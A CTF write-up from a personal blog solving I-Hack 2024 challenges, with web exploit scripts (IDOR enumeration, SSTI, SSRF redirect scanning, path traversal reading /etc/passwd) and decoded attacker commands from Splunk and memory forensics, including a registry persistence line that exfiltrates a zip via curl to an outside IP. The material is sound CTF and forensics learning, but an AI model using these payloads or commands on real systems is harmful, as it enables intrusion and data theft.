Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Siber Siaga I-Hack 2024 Qualifier Write-up

Overview


Hellooooooo everyone. It’s been a while since I’ve last posted a blog post. Been busy with final yaer project and a lot of other stuff. This year, we were lucky enough to still be participating in I-Hack! I have to say, compared to the previous year, it’s a little bit harder? But overall, good quality challenges. Even though all the web were sourceless, but it’s easy to enumerate from my perspective. Basically, sourceless done right. Throughout the qualifier, we managed to get 2 first blood on web (Character Journey and Blocksurf) and maintained top 3 placement before the scoreboard froze. Pretty sure other teams would have already overtaken us when it froze. Anyway, it was a good experience overall, working with Splunk is super fun! Hope to see everyone in the finals <3

Reverse Engineering (RE)


crackme

We were given .exe file with .dll. We found out that we are able to decompile it using ilspy and we found this piece of code which tries to validate the license key.

private void btnSubmit_Click(object sender, EventArgs e)
{
    string enteredKey = txtLicenseKey.Text;
    if (ValidateLicenseKey(enteredKey))
    {
        pictureBoxAlert.Visible = false;
        lblMessage.Location = new Point(38, 203);
        lblMessage.Text = "License Key is valid. Flag is ihack24{(the license key)}";
    }
    else
    {
        pictureBoxAlert.Visible = true;
        lblMessage.Location = new Point(67, 203);
        lblMessage.Text = "Invalid License Key. Please try again.";
    }
}

private bool ValidateLicenseKey(string key)
{
    string validKey = SecretKey("BRQFHF@WR_+6 ,N:$78", "secret");
    return key == validKey;
}

private string SecretKey(string hidden, string key)
{
    StringBuilder result = new StringBuilder();
    for (int c = 0; c < hidden.Length; c++)
    {
        result.Append((char)(hidden[c] ^ key[c % key.Length]));
    }
    return result.ToString();
}

protected override void Dispose(bool disposing)
{
    if (disposing && components != null)
    {
        components.Dispose();
    }
    base.Dispose(disposing);
}

The function secretKey is the most important here. The function takes two strings as input, performs a bitwise XOR operation on each character of the hidden string with the corresponding character in the key string, and returns the resulting string.

Solution script

def secret_key_reverse(hidden, key):
    result = []
    for c in range(len(hidden)):
        result.append(chr(ord(hidden[c]) ^ ord(key[c % len(key)])))
    return ''.join(result)

hidden = "BRQFHF@WR_+6 ,N:$78"
key = "secret"

valid_key = secret_key_reverse(hidden, key)
print(f"Valid License Key: {valid_key}")
Flag: ihack24{1724-2321-NBSI-HACK}

Brute Force Frenzy

Decompiling the file, we found the function which is responsible for the check. (check_license_key)

Image in a image block
Image in a image block

Looking at the check, it seems like:

  • Check if input string length is 8.

For each character in the string (total 8 characters):

  • Calculate a value using the formula: v2 = ((i + 1) * ord(a1[i]) + 13) % 97.
  • Add the value to the sum.
  • Check if the calculated value matches the corresponding value in _data_start__.
  • Return true if all checks pass, otherwise return 0.
Image in a image block
_data__start

Solution script

import string
import itertools

# The _data_start__ array and target sum
_data_start__ = [91, 62, 66, 19, 59, 51, 72, 41]
target_sum = sum(_data_start__)

# Precompute possible characters for each position
char_mappings = [
    [c for c in string.printable if ((i + 1) * ord(c) + 13) % 97 == _data_start__[i]]
    for i in range(8)
]

# Function to check if a key is valid
def check_key(key):
    return len(key) == 8 and sum(((i + 1) * ord(c) + 13) % 97 for i, c in enumerate(key)) == target_sum

# Brute force the key
def brute_force_key():
    return next((''.join(candidate) for candidate in itertools.product(*char_mappings) if check_key(''.join(candidate))), None)

# Find and print the valid key
key = brute_force_key()
if key:
    print(f"The correct license key is: {key}")
else:
    print("No valid key found.")
Flag: ihack24{NI220G24}

Web


Character Journey 🩸

For this challenge, we were given a website where we could register and login.

Image in a image block
Image in a image block

Browsing on to the profile endpoint, this seems vulnerable to IDOR (Insecure Direct Object Reference)

http://character-journey.ihack24.capturextheflag.io/profile.php?userId=1016

Wrote a simple script to test out all the userId.
Solution script

import requests
from bs4 import BeautifulSoup

base_url = "http://character-journey.ihack24.capturextheflag.io/profile.php?userId="
headers = {
    "Cookie": "PHPSESSID=67563f727c91e9067fa23b2eb12816d7",
    "Sec-Ch-Ua": '"Not/A)Brand";v="8", "Chromium";v="126"',
    "Sec-Ch-Ua-Mobile": "?0",
    "Sec-Ch-Ua-Platform": "macOS",
    "Accept-Language": "en-GB",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "Accept-Encoding": "gzip, deflate, br",
    "Priority": "u=0, i",
    "Connection": "keep-alive"
}

for user_id in range(2, 61):
    url = f"{base_url}{user_id}"
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        soup = BeautifulSoup(response.content, 'html.parser')
        name_tag = soup.find('p', text=lambda t: t and t.startswith('Name:'))
        email_tag = soup.find('p', text=lambda t: t and t.startswith('Email:'))

        if name_tag and email_tag:
            name = name_tag.text.split(': ')[1]
            email = email_tag.text.split(': ')[1]
            print(f"UserID: {user_id} - Name: {name}, Email: {email}")
        else:
            print(f"UserID: {user_id} - Name or Email not found")
    else:
        print(f"UserID: {user_id} - Failed to retrieve data")

And the flag is in one of the responses. Specifically userId = 53

Flag: ihack24{655b7b7ae4c62d726a568eff8914573e}

Simple Pimple Shop

For this challenge, we were given a website where you could search for cats and add comments.

Image in a image block
CATS!!
Image in a image block

We tried to error out the website by sending invalid inputs. Luckily, we found part of the source code exposed!

Image in a image block
Image in a image block

The comment field seems to be vulnerable to SSTI (Server Side Template Injection) and it seems to be using the Slim template engine.

Without much thinking, we sent a simple Slim SSTI Payload to the comment field and get the flag.

#{ `cat flag.txt` }
Flag: ihack24{c484c41c5b7ffd81178c19391e0544ee}

BlockSurf 🩸

For this challenge, we were given a website where we could input certain personal details.

Image in a image block

Sending a normal request, it seems to be trying to fetch an outside link (an image to be specific)

Image in a image block

There's also filter in place to block connections to the local network. This smells like

SSRF (Server-Side Request Forgery)

Image in a image block

What we did was, we hosted a web server on the internet (you can also use ngrok, in this case I am using DigitalOcean Droplet), and set-up a 302 redirect to 127.0.0.1. We can now just pass in our web server IP to the url field, thus bypassing the checks.

Note: Most fetching/curl mechanisms will always follow 302 redirect unless stated not to.

At first I thought of checking port 8989 and accessing 127.0.0.1:8989/secret. But it didn't work. Then I tried to ask in the Discord, if I am supposed the find the secret endpoint name.

Thinking back again, usually with SSRF, the goal is to interact with other internal services. What we did was, we scanned all the internal ports using this 302 redirect webserver method.

# You can use your own script to automatically test all of this out
from flask import Flask, redirect, request

app = Flask(__name__)

@app.route('/')
def home():
    param = request.args.get('param', '8989')
    return redirect(f"http://127.0.0.1:{param}", code=302)

We found a valid service on port 8443

Image in a image block

We modified the webserver script a little bit, so that we can find the secret endpoint.

@app.route('/fuzz8443')
def fuzz8443():
    param = request.args.get('param', 'flag')
    return redirect(f"http://127.0.0.1:8443/{param}", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=True)

Turns out, the secret endpoint name is

secret

Locally, the address should look like this

127.0.0.1:8443/secret
Image in a image block

PSA: Sorry for fuzzing this one guys :3

Flag ihack24{9eabc6db553f14a972b21c8a116a79ec}

Mymemo

For this challenge, we were given a website where you could put in any memo text.

Image in a image block

When we tried to insert a memo, we can see this request the background.

Image in a image block
mymemo.ihack24.capturextheflag.io/get_memos.php?userId=158

This seems like another IDOR challenge. Quickly, we ran a script and tried out all the userId.

import requests
import json

url = "<http://mymemo.ihack24.capturextheflag.io/get_memos.php>"
cookies = {'PHPSESSID': '014f3830c7737a2ac50d81facb34ff53'}

for user_id in range(1, 1001):
    params = {'userId': user_id}
    response = requests.get(url, params=params, cookies=cookies)

    if response.status_code == 200:
        data = response.json()
        if data:
            print(f"User ID: {user_id}")
            for memo in data:
                print(f"\\nID: {memo['id']}")
                print(f"Title: {memo['title']}")
                print(f"Content: {memo['content']}")
                print(f"Timestamp: {memo['timestamp']}")
            print("\\n" + "="*40 + "\\n")

On user 69 , we found admin credential.

Image in a image block

With that, we tried logging in with

admin:admin71800


It seems to be leading us to a reset page. Which, ultimately does nothing.

Image in a image block

But on the response, we found a reset.php endpoint with params set.

Image in a image block

We browsed to that endpoint, and we are finally logged in as admin, and we got the flag!

Image in a image block
Flag: ihack24{ea082099722927625a51a3dd5b1057aa4b9867ac}

Employee Attendance

For this challenge, we were given a website where you could download Employee Attendance in form of JSON (zipped)

Image in a image block
Image in a image block

Looking in the background request of /download, it seems to be vulnerable to Local File Read.

First thing we tested is to read /etc/passwd

curl -X GET "http://employee-attendance.ihack24.capturextheflag.io/download?month=../../../../etc/passwd" \\
     -H "Host: employee-attendance.ihack24.capturextheflag.io" \\
     -H "Accept-Language: en-GB" \\
     -H "Upgrade-Insecure-Requests: 1" \\
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36" \\
     -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \\
     -H "Referer: <http://employee-attendance.ihack24.capturextheflag.io/index.html>" \\
     -H "Accept-Encoding: gzip, deflate, br" \\
     -H "Connection: keep-alive" -o file.7z

After a little bit of renaming, and we got the contents of it!

Image in a image block

Straight away, we tried to read /var/www/html/index.html (where web files usually resides in).

curl -X GET "http://employee-attendance.ihack24.capturextheflag.io/download?month=../../../../var/www/html/index.html" \\
     -H "Host: employee-attendance.ihack24.capturextheflag.io" \\
     -H "Accept-Language: en-GB" \\
     -H "Upgrade-Insecure-Requests: 1" \\
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36" \\
     -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \\
     -H "Referer: <http://employee-attendance.ihack24.capturextheflag.io/index.html>" \\
     -H "Accept-Encoding: gzip, deflate, br" \\
     -H "Connection: keep-alive" -o file.7z

And we found /admin/flag.html endpoint which seems to be guarded by authorization.

Image in a image block
Image in a image block

Next thing we did is, instead of trying to find valid admin credentials, let's just read /var/www/html/admin/flag.html instead!

curl -X GET "<http://employee-attendance.ihack24.capturextheflag.io/download?month=../../../../var/www/html/admin/flag.html>" \\
     -H "Host: employee-attendance.ihack24.capturextheflag.io" \\
     -H "Accept-Language: en-GB" \\
     -H "Upgrade-Insecure-Requests: 1" \\
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36" \\
     -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \\
     -H "Referer: <http://employee-attendance.ihack24.capturextheflag.io/index.html>" \\
     -H "Accept-Encoding: gzip, deflate, br" \\
     -H "Connection: keep-alive" -o file.7z

And we got the flag.

Image in a image block
Flag: ihack24{8d1f757aa744f459ac7ef07ebe0e2651}

Forensics


Lock

We were given an .img file named storageM.img with event logs. Apparently, storageM.img file is encrypted with Bitlocker.

We tried to find the Bitlocker password, and we found it in one of the event logs.

Image in a image block

Password: pa55iPOjLKbMN

With that, we could easily decrypt the storageM.img file. Here, we are using dislocker and ntfs-3g.

sudo apt-get install dislocker ntfs-3g
sudo mkdir /mnt/bitlocker
sudo mkdir /mnt/bitlocker_unlocked
sudo dislocker -V /path/to/storageM.img -u pa55iPOjLKbMN -- /mnt/bitlocker
sudo mount -o loop /mnt/bitlocker/dislocker-file /mnt/bitlocker_unlocked
cd /mnt/bitlocker_unlocked

And you'll get the flag in flag.txt !

Image in a image block

Happy Splunking 2

Note: First time using Splunk, it was fun! And we have finished up some of the challenge tries :P

Goal of this challenge is to find the IP of attacker that has sucessfully logged in. We sorted out the logs by using this query.

index=security EventCode=4624 Logon_Type=10
| eval date=strftime(_time, "%Y-%m-%d")
| search date="2024-07-23"
| rex field=_raw "Account Name:\\s(?<successful_account>[\\S]+)\\sAccount Domain"
| rex field=_raw "Source Network Address:\\s*(?<src_ip>[\\S]+)"
| table _time, successful_account, src_ip
| sort + _time
Image in a image block

Found out that the attacker IP is 192.168.8.41.

Flag: ihack24{192.168.8.41}

Happy Splunking 3

Goal of this challenge is to find the timestamp of attacker successfully logging in. We sorted out the logs by using this query.

index=security sourcetype=WinEventLog:Security EventCode=4624 earliest="07/23/2024:00:00:00" latest="07/24/2024:00:00:00" Source_Network_Address=192.168.8.41
| table _time, Account_Name, Source_Network_Address, Message
| sort _time
Image in a image block

Looking through the query, this is the earliest time of the attack.

Flag: ihack24{07/23/24 09:55:52 PM}

Happy Splunking 5

Goal of this challenge is to find the folder path that is being excluded from detection of Windows Defender. We sorted out the logs by using this query.

index=* sourcetype="powershell:transcript" earliest="07/23/2024:00:00:00" Add-

To find Windows Defender excluded folder, the keyword we need to find is Add-MpPreference, but in this case Add- is also fine.

Image in a image block
Flag: ihack24{C:\\Windows\\microsoft}

Happy Splunking 6

Goal of this challenge is to find the backdoor IP address. of this We sorted out the logs by using this query.

index=* Cmdlet

After scrolling through the logs, we found this.

Image in a image block

The IP of the backdoor is

157.230.33.7
Flag: ihack24{157.230.33.7}

Happy Splunking 7

Goal for this challenge is to find data that has been exfiltrated to C2. From the sorted query earlier, we found an obfuscated Powershell comand.

Decoding it gives us this.

Image in a image block

By doing a little bit of dynamic analysis, we were able to decode the whole thing.

# The obfuscated command
$obfuscatedCommand = "120_84>86}75>73J94Z72}72%22}122e73J88>83J82@77{94%27>22Z107}90>79_83{27@28_120N1%103>110>72N94J73e72>103>90%95{86}82_85N103}127}84J88_78N86}94%85>79_72%28@27%22Z127J94@72Z79@82>85}90@79}82N84Z85}107}90Z79e83N27>28N120N1Z103_110>72}94%73}72}103J90e95N86{82e85N103N127Z84J76{85_87}84e90N95{72@103Z127J126>104J112{111N116e107Z22e2@116Z12@14N121}12N110}21>65N82Z75Z28{27Z22J125Z84_73{88J94"

# Splitting the obfuscated command using multiple delimiters
$splitChars = $obfuscatedCommand -split '_' -split '>' -split '}' -split 'J' -split 'Z' -split '%' -split 'e' -split '@' -split '{' -split 'N'

# Decode each part by XOR with 0x3b and convert to characters
$decodedChars = $splitChars | ForEach-Object {
    if ($_ -ne '') {
        [char]([int]$_ -bxor 0x3b)
    }
}

# Combine the decoded characters to form the original command
$decodedCommand = $decodedChars -join ''

# Output the decoded command
$decodedCommand
Output: Compress-Archive -Path 'C:\\Users\\admin\\Documents' -DestinationPath 'C:\\Users\\admin\\Downloads\\DESKTOP-9O75B7U.zip' -Force

This seems to be a behavior of data exfiltration. The filename of the exfiltrated file is DESKTOP-9O75B7U.zip

Flag: ihack24{DESKTOP-9O75B7U.zip}

Happy Splunking 8

Goal of this challenge is to find the tool that is dropped by the attacker to find other host. We sorted out the logs by using this query.

index=* sourcetype="powershell:transcript" earliest="07/23/2024:00:00:00" nmap

Looking at the question, our first instinct is to find occurences of nmap. And luckily we found one!

Flag: ihack24{nmap.exe}

Happy Splunking 9

Goal of this challenge is to find the new user account that has been created along with the password. We sorted out the logs by using this query. We found out there's a new user called operator by checking event log ID 4720.

index=* sourcetype="powershell:transcript" earliest="07/23/2024:00:00:00" latest="07/24/2024:00:00:00" operator
| sort _time
Image in a image block

The password is

operator123
Flag: ihack24{operator:operator123}

Happy Splunking 10

Goal of this challenge is to find command used by attacker for persistence. Looking into the logs further, we found this obfuscated payload.

Image in a image block

With this, we deobfuscated the payload.

# Obfuscated numbers
$numbers = 68, 83, 81, 22, 87, 82, 82, 22, 17, 126, 125, 122, 123, 106, 101, 89, 80, 66, 65, 87, 68, 83, 106, 123, 95, 85, 68, 89, 69, 89, 80, 66, 106, 97, 95, 88, 82, 89, 65, 69, 106, 117, 67, 68, 68, 83, 88, 66, 96, 83, 68, 69, 95, 89, 88, 106, 100, 67, 88, 17, 22, 25, 64, 22, 68, 83, 70, 89, 68, 66, 22, 25, 66, 22, 100, 115, 113, 105, 101, 108, 22, 25, 82, 22, 17, 85, 91, 82, 24, 83, 78, 83, 22, 25, 85, 22, 85, 67, 68, 90, 22, 27, 110, 102, 121, 101, 98, 22, 7, 3, 1, 24, 4, 5, 6, 24, 5, 5, 24, 1, 25, 67, 70, 90, 89, 87, 82, 22, 27, 112, 22, 80, 95, 90, 83, 69, 11, 118, 117, 12, 106, 99, 69, 83, 68, 69, 106, 87, 82, 91, 95, 88, 106, 114, 89, 85, 67, 91, 83, 88, 66, 69, 106, 114, 115, 101, 125, 98, 121, 102, 27, 15, 121, 1, 3, 116, 1, 99, 24, 76, 95, 70, 17, 22, 25, 80

# Apply the XOR operation and convert to characters
$decodedChars = $numbers | ForEach-Object { [char]($_ -bxor 0x36) }

# Combine the characters into a single string
$decodedCommand = -join $decodedChars

# Output the decoded command
$decodedCommand

We found out that the command seems to be creating a persistence. This command adds an entry to the Run key, which will execute a command each time the system starts.

reg add 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' /v report /t REG_SZ /d 'cmd.exe /c curl -XPOST 157.230.33.7/upload -F files=@C:\\Users\\admin\\Documents\\DESKTOP-9O75B7U.zip' /f

The final flag would be

Flag: ihack24{reg add 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' /v report /t REG_SZ /d 'cmd.exe /c curl -XPOST 157.230.33.7/upload -F files=@C:\\Users\\admin\\Documents\\DESKTOP-9O75B7U.zip' /f}

Memory

In this challenge, we were given a memory dump. The goal of this challenge is to find the created user and their password. Running volatility imageinfo, we found out the suggested profile for it is --profile=Win10x64_19041.

We are using volatility2 for filescan, and volatility3 for dumping (we were having problems dumping file with volatility 2)

We ran volatility filescan to scan for every files that we may have in the memory.

python2 vol.py -f ~/Windows.vmem --profile=Win10x64_19041 filescan > output_filescan.txt

Looking into the filescan, we tried to look for Powershell running-scripts or something similar. And this caught our eye.

0x00008c0d5de36a80  32780      1 RW-r-- \\Device\\HarddiskVolume2\\Users\\Hashigu\\Documents\\20240726\\PowerShell_transcript.DESKTOP-5JK2L4I.CsgnuUFc.20240726091227.txt

Quickly, we dumped the file and tried to read it.

python3 vol.py -f ~/Windows.vmem windows.dumpfiles  --virtaddr 0x00008c0d5de36a80

Contents of the file

Windows PowerShell transcript start
Start time: 20240726091228
Username: DESKTOP-5JK2L4I\\Hashigu
RunAs User: DESKTOP-5JK2L4I\\Hashigu
Configuration Name:
Machine: DESKTOP-5JK2L4I (Microsoft Windows NT 10.0.19045.0)
Host Application: powershell.exe -e JABsAGEASQBJAE0AcQAgAD0AIAAnAGQAZAAnACAAKwAgACcAYQAvACcAIAArACAAJwAgAG4AaQAnACAAKwAgACcAbQBkAEEAUwAnACAAKwAgACcAWQBTACAAbgAnACAAKwAgACcAaQAnACAAKwAgACcAbQBkACcAIAArACAAJwBhAHMAeQBzACAAJwAgACsAIAAnAHIAJwAgACsAIAAnAGUAcwAnACAAKwAgACcAdQAgAHQAJwAgACsAIAAnAGUAbgAnADsAIAAkAGsAUwBtAG0AQQBpAHcAIAA9ACAALQBqAG8AaQBuACAAKAAkAGwAYQBJAEkATQBxAC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQBbAC0AMQAuAC4ALQAoACQAbABhAEkASQBNAHEALgBMAGUAbgBnAHQAaAApAF0AKQA7ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABrAFMAbQBtAEEAaQB3ACAAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADYAMAAwAA==
Process ID: 752
PSVersion: 5.1.19041.4046
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.4046
BuildVersion: 10.0.19041.4046
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**
PS>$laIIMq = 'dd' + 'a/' + ' ni' + 'mdAS' + 'YS n' + 'i' + 'md' + 'asys ' + 'r' + 'es' + 'u t' + 'en'; $kSmmAiw = -join ($laIIMq.ToCharArray()[-1..-($laIIMq.Length)]); Invoke-Expression $kSmmAiw ; Start-Sleep -Seconds 600

Deobfuscating it.

# Obfuscated command
$obfuscatedCommand = '$laIIMq = ''dd'' + ''a/'' + '' ni'' + ''mdAS'' + ''YS n'' + ''i'' + ''md'' + ''asys '' + ''r'' + ''es'' + ''u t'' + ''en''; $kSmmAiw = -join ($laIIMq.ToCharArray()[-1..-($laIIMq.Length)]); Invoke-Expression $kSmmAiw ; Start-Sleep -Seconds 600'

# Decode the command
$decodedCommand = [ScriptBlock]::Create($obfuscatedCommand)
$decodedCommand.Invoke()

# Print the decoded command
$decodedCommandAst = [System.Management.Automation.Language.Parser]::ParseInput($obfuscatedCommand, [ref]$null, [ref]$null)
$decodedExpression = $decodedCommandAst.EndBlock.Statements[-2].PipelineElements[-1].Expression
$laIIMqValue = $decodedExpression.Left.VariablePath.UserPath
$kSmmAiwValue = $decodedExpression.Right.Operands[-1].Member.VariablePath.UserPath

# Join the concatenated string
$concatenatedString = 'dd' + 'a/' + ' ni' + 'mdAS' + 'YS n' + 'i' + 'md' + 'asys ' + 'r' + 'es' + 'u t' + 'en'

# Reverse the concatenated string
$reversedString = -join ($concatenatedString.ToCharArray()[-1..-($concatenatedString.Length)])

# Output the decoded command
Write-Output "Decoded command: $reversedString"

And you'll get the output. This command seems to be creating a user with the username sysadmin and the password SYSAdmin

net user sysadmin SYSAdmin /add
Flag: ihack24{sysadmin_SYSAdmin}

Malware

normal exe

This challenge solution is simple. Pass in the normal.exe file into VirusTotal

and you'll see a s3cr3t5.txt file endpoint in relations.

Image in a image block

Browse to

https://159.223.43.45/s3cr3t5.txt

and you'll get the flag.

Flag: ihack24{obFusCat!on_Alw4ys_w0rK}

Incident Handling

SSH Compromised

The goal of this challenge is to find out which user is affected with the brute-force attack and the source IP address.

We passed the logs to ChatGPT, and it processed the logs for us.

Image in a image block
Flag: ihack24{149.102.244.68_sysadmin}

Thanks for reading my writeup!